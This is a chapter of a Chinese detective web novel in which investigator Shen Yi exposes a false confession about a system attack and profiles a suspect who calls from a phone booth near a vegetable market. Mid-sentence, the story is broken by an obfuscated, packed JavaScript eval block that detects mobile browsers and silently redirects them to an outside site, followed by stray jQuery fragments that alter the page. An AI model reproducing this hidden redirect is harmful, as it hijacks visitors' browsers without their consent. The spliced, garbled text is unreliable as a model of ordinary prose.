陈楠显然没想到沈翊会这么说，一时愣住。


    “怎么？你刚刚不是说是你攻击的山雀吗？当着我的面再做一遍。”沈翊神色冷静，观察着对方的一举一动。


    陈楠见没有退路，只好硬着头皮接过电脑写程序。


    陈楠从始至终一直低着头不吭声，也不敢抬头看沈翊。十分钟过去，电脑上也没出现几行程序。


    沈翊只看了一眼便心中了然，轻笑一声：“就你这样还敢说是自己攻击的山雀系统？”


    陈楠闻言脸上血色逐渐褪去，唇色发白。他右手紧紧握住鼠标，回过神来梗着脖子道：“是因为我现在太紧张了，所以才失误了。”


    “背后攻击山雀的必然是个高手，绝不会是你。”沈翊字字句句道，俯身与陈楠对视，声音低沉，“到现在还不肯说实话吗？是谁让你认罪并一口咬死王楚江的？”


    陈楠心头一颤：“你在胡说什么？我听不懂，我已经认罪了就是我干的。”


    沈翊的手机屏幕亮了一下，沈翊拿起手机在陈楠面前晃了晃：“我的同事已经查到你的银行账户最近有一笔钱汇入，不是你的工资，也不是你的其他亲友相赠，就是那个人给你的报酬吧。”


    “你和他之间的联系必然会留下蛛丝马迹，我们只要仔细查查你的手机就什么都清楚了。”


    陈楠的眼神顿时飘忽不定，下意识吞咽。


    沈翊俯身，眼神压迫：“你现在自己说和等我们查出来说，结果可是不一样的。”


    声声入耳，陈楠胸膛剧烈起伏，身体微微颤抖。沈翊知道他已经扛不住压力，处在崩溃的边缘。


    “我说。”


    沈翊似乎早就料到，点了点头，眼神示意他继续说。


    “是有人让我这么说的，也是他让我一口咬死是王楚江让我这么做的。”陈楠缓缓开口。


    “是谁？”沈翊眸色渐沉。


    陈楠摇了摇头：“我没见过这个人，我们只在线上联系，我只知道对方是个男人，听声音大概三十多岁的样子。我觉得他应该和王楚江有仇，才这么往死里整。”


    沈翊思索片刻：“你和他打过几次电话？”


    “三次。”陈楠回答得还算干脆。


    “电话里你有听到什么其他的声音吗？”


    “其他的声音……”陈楠微微皱眉似乎陷入了沉思，片刻后突然抬头，“很嘈杂的声音算吗？”


    “嘈杂的声音？”沈翊追问。


    陈楠笃定地点点头：“两次我和他打电话都感觉背景音很嘈杂，好像有很多人说话，中年男女都有，就好像……”


    沈翊顿悟：“菜市场？”


    “没错！我觉得和菜市场的声音很像，七嘴八舌的。”


    这么说来，对方的主要活动区域是在菜市场附近，很有可能是菜市场的常客，甚至可能就是菜市场的某个摊主。


    沈翊和余昀说明了自己这边的进展，余昀查找了陈楠手机上的通话记录，发现最近在通话记录里出现三次的神秘电话竟然就是本地的公用电话。余昀继续查下去，发现对方用的公用电话就在祥和路附近。


    祥和路，祥和菜市场，一切都对上了。


    与此同时，顾严那边也有了新的进展，王楚江和龚弘也终于说出了实情。


    原来二人之所以心虚是因为王楚江的确眼红开挂了网安的迅猛发展，对秦淮心生嫉妒，便背地里让龚弘想办法窃取开挂了网安研发系统的资料。然而还没等龚弘出手山雀系统就出了事，二人这才不敢说出实情。


    而当沈翊问起王楚江是否有什么仇人，王楚江则表示自己什么都想不起来。


    好在余昀调取了祥和路公用电话附近的监控，根据神秘人与陈楠三次通话的时间发现了重要线索。


    沈翊仔细辨认监控中的画面，确定三次通话时间期间进入公用电话亭的身影为同一人。尽管穿着不同，但无论是身高还是体型都极为相似。


    不过对方也极为小心，从始至终一直带着帽子，帽檐压得很低，监控没有正脸。


    “这画面这么糊又带着帽子，什么都看不清啊！”余昀郁闷地抓了抓头发。


    反观沈翊倒是冷静：“可以说明一点，他不戴眼镜。”


    “帽沿压得这么低，如果他戴眼镜，眼镜会滑落。”


    余昀微微一愣，随即回过神来：“有道理。”


    沈翊示意余昀将画面放大，目光落在人影上，指了指电话亭：“根据画面中他和电话亭的高度差，这个人的身高大约在……一米八到一米八五之间。”


    余昀闻言微微眯眼定睛一看，还真是这么回事。画面虽然模糊，但隐约能看到打电话的男人和电话亭之间的高度差，既然电话亭的高度是死的，那么男人的身高也不难推断出。


    “还有，棒球帽只是常规大小，而他压低帽沿后能几乎挡住了大半张脸，说明他应该不胖，甚至可以说偏瘦。”沈翊微微抿唇，眼神坚定，“脸型……很可能是偏窄的，因为如果脸型偏圆又是短发，帽沿应该盖不住两边脸的轮廓。”


    “我同意沈翊的看法。”岳少禹表态。


    余昀和顾严也点点头，表示没有异议。


    男性，年龄三十多岁，身高一米八到一米八五之间，短发，脸型偏窄不戴眼镜，活动区域在祥和菜市场附近，对祥和路电话亭附近的环境熟悉，与王楚江之间存在恩怨纠葛。这是他们目前掌握的所有信息。


    沈翊随即拿出一支铅笔和一张白纸，众人都默契地不出声，房间里一时只剩下笔尖与纸面摩擦产生的沙沙声。


    余昀看见沈翊作画时偶尔抬头看一眼监控画面，没过多久沈翊就搁了笔。


    监控画面中男人是侧着身子，形象十分模糊，而沈翊则重新绘制了男人的正面形象图，虽然少了具体五官，但体型脸型都已经非常形象。


    沈翊随即起身：“我们出发去祥和菜市场。”


    以防打草惊蛇，四人没有直接开着警车前往，而是打了一辆出租车。半个小时后，四人抵达祥和菜市场门口。


    沈翊刚一下车，就感觉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17008703|185626||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到各种声浪迎面而来，商贩的吆喝声，男人女人的还价声还有小孩的哭闹声混杂在一起直往耳膜里钻。


    沈翊有些不适应，微微皱眉。不过这声音，的确和陈楠先前描述的和神秘男人说话时听到的背景音相符。


    经过菜市场门口，沈翊留意到红色的公共电话亭，正是监控里神秘男人使用过的。


    沈翊似是想到什么，停下了脚步。


    “怎么了沈翊？”余昀开口。


    “我在想监控里他没有戴手套，应该会留下指纹。”沈翊回想起一个细节。


    顾严点点头：“的确，但每天用公用电话亭的人较多，电话上应该就留下很多指纹，一一排查会有困难。”


    沈翊也明白这一点，表示认同。排查电话上留下的所有指纹是他们不得已时的下策，当下如果能在菜市场附近直接找出神秘男人方为上策。


    四人对视一眼，分为两组一前一后进入了菜市场。沈翊和余昀一组，顾严则与岳少禹一组。


    这一天是星期五，又是下午四点半，正是菜市场人流量大的时候。沈翊和余昀好不容易进去，发现里面更加拥挤。生肉的血水味和鱼虾的腥味几乎把整个菜市场腌入味，再加上傍晚的人流量，更是把体验拉到了最低。


    余昀只顾着捂住鼻子，没注意脚下都是水渍，差点滑一跤，幸好沈翊及时抓住他的手臂才勉强稳住身形。


    “多谢多谢。”余昀舒了一口气。


    沈翊摇了摇头，开始环顾四周。


    余昀凑近沈翊，用只有两个人能听到的声音说：“这个时间段人也太多了，怎么找啊？”


    但沈翊却不以为然，人多固然拥挤，神秘男人却更有可能身在其中。不管他是买家，还是卖家，现身的几率都很大。


    “和我聊聊天，说什么都行，自然一点。”沈翊轻声说道。


    余昀顿时明白过来。他一个东北汉子，聊天最是拿手，保准不会让话茬掉在地上。


    “这地方这味道，我真是要吐了！”余昀开始吐槽。


    “菜市场都这个味道，忍忍吧。”


    “你到底要买什么啊？拉着我来？”


    “买点新鲜的蔬菜。”


    余昀倒是不负使命，的确没有让话茬掉在地上。但沈翊和余昀在菜市场里走了十分钟，也没走多少路，沈翊意识到这样下去不行，只能看人头根本找不到神秘男人。


    如果真如他所想，对方真是菜市场的摊主呢？沈翊突然有了注意，反向朝其中一个出口走去。


    余昀一时摸不着头脑，但怕和沈翊走散便只好跟上他。


    沈翊果然发现在出口附近，站着一个上身穿洗旧的蓝色制服下身穿黑色长裤的五十岁左右的男人。从他这一身打扮可以确定他应该是菜市场的安保人员。


    安保员也注意到沈翊的目光，转身看他。


    “大哥，是这样，之前一直是我家里人来买菜，但是今天身体不好就没来，我也不知道他一直买菜的那个摊位在哪儿，您可以给我指指路吗？”